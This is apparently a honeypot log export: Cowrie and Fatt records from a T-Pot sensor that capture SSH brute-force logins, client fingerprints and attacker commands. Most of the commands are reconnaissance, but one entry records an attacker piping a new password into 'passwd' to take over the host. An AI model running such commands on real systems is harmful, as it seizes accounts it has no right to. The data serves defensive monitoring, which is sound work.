28000	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:16:00.701724+03	2021-09-20 14:30:02.259523+03	{"_id": "9gbrAnwBvYTbRNuEgSsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "cbfb938affd8", "@version": "1", "duration": 2.75429105758667, "timestamp": "2021-09-20T11:16:00.701724Z", "@timestamp": "2021-09-20T11:16:00.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28006	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:02.748324+03	2021-09-20 14:30:02.266524+03	{"_id": "CwbrAnwBvYTbRNuEiCzg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:02.748324Z", "@timestamp": "2021-09-20T11:16:02.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28001	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:00.939137+03	2021-09-20 14:30:02.260523+03	{"_id": "-QbrAnwBvYTbRNuEhCsq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39434, "timestamp": "2021-09-20T11:16:00.939137", "@timestamp": "2021-09-20T11:16:00.939Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28002	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:00.981671+03	2021-09-20 14:30:02.262523+03	{"_id": "_AbrAnwBvYTbRNuEhCv2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c972127ef718", "@version": "1", "timestamp": "2021-09-20T11:16:00.981671Z", "@timestamp": "2021-09-20T11:16:00.981Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28003	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:00.860626+03	2021-09-20 14:30:02.263523+03	{"_id": "AAbrAnwBvYTbRNuEhCz2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:00.860626Z", "@timestamp": "2021-09-20T11:16:00.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28004	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:01.790722+03	2021-09-20 14:30:02.264524+03	{"_id": "_gbrAnwBvYTbRNuEhCv2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:01.790722Z", "@timestamp": "2021-09-20T11:16:01.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28005	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:02.360227+03	2021-09-20 14:30:02.265524+03	{"_id": "BgbrAnwBvYTbRNuEiCzf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "81.71.17.12", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5696353912353516, "duplicate": true, "timestamp": "2021-09-20T11:16:02.360227Z", "@timestamp": "2021-09-20T11:16:02.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28008	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:48.134512+03	2021-09-20 14:30:02.269524+03	{"_id": "RwbrAnwBvYTbRNuEUisl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:36152 (192.168.176.2:22) [session: 69d85282752f]", "session": "69d85282752f", "@version": "1", "protocol": "ssh", "src_port": 36152, "dest_port": 22, "timestamp": "2021-09-20T11:15:48.134512Z", "@timestamp": "2021-09-20T11:15:48.134Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28009	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:15:48.57154+03	2021-09-20 14:30:02.270523+03	{"_id": "SAbrAnwBvYTbRNuEUisl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 118.70.233.117:38938 (192.168.176.2:22) [session: 3bd1d13b4e45]", "session": "3bd1d13b4e45", "@version": "1", "protocol": "ssh", "src_port": 38938, "dest_port": 22, "timestamp": "2021-09-20T11:15:48.571540Z", "@timestamp": "2021-09-20T11:15:48.571Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28010	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:47.891837+03	2021-09-20 14:30:02.271523+03	{"_id": "SQbrAnwBvYTbRNuEUisl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "3c9cd1baa8a8", "@version": "1", "duration": 3.9519002437591553, "timestamp": "2021-09-20T11:15:47.891837Z", "@timestamp": "2021-09-20T11:15:47.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28011	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:47.900778+03	2021-09-20 14:30:02.272525+03	{"_id": "SgbrAnwBvYTbRNuEUisl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/1111] failed", "session": "e452297a139f", "@version": "1", "password": "1111", "username": "admin", "timestamp": "2021-09-20T11:15:47.900778Z", "@timestamp": "2021-09-20T11:15:47.900Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28012	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:48.132275+03	2021-09-20 14:30:02.274523+03	{"_id": "SwbrAnwBvYTbRNuEUisl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:48.132275Z", "@timestamp": "2021-09-20T11:15:48.132Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28013	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:48.132823+03	2021-09-20 14:30:02.275524+03	{"_id": "TAbrAnwBvYTbRNuEUisl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo \\"123456\\\\nYBAwxb6g8Njt\\\\nYBAwxb6g8Njt\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: echo \\"123456\\\\nYBAwxb6g8Njt\\\\nYBAwxb6g8Njt\\\\n\\"|passwd", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:48.132823Z", "@timestamp": "2021-09-20T11:15:48.132Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28014	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:48.135176+03	2021-09-20 14:30:02.276524+03	{"_id": "TQbrAnwBvYTbRNuEUisl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "69d85282752f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:48.135176Z", "@timestamp": "2021-09-20T11:15:48.135Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28015	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:48.453889+03	2021-09-20 14:30:02.277523+03	{"_id": "TgbrAnwBvYTbRNuEUisl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "69d85282752f", "@version": "1", "timestamp": "2021-09-20T11:15:48.453889Z", "@timestamp": "2021-09-20T11:15:48.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28016	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:15:48.572253+03	2021-09-20 14:30:02.278523+03	{"_id": "TwbrAnwBvYTbRNuEUisl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3bd1d13b4e45", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:15:48.572253Z", "@timestamp": "2021-09-20T11:15:48.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28017	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:48.697413+03	2021-09-20 14:30:02.279523+03	{"_id": "UAbrAnwBvYTbRNuEUisl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "561b1c3ffec00b010c7f650a9314b3f0b1c84f263677139742c044632bb6a9f8", "src_ip": "81.71.17.12", "ttylog": "log/tty/561b1c3ffec00b010c7f650a9314b3f0b1c84f263677139742c044632bb6a9f8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/561b1c3ffec00b010c7f650a9314b3f0b1c84f263677139742c044632bb6a9f8 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5652356147766113, "duplicate": false, "timestamp": "2021-09-20T11:15:48.697413Z", "@timestamp": "2021-09-20T11:15:48.697Z", "t-pot_ip_ext": 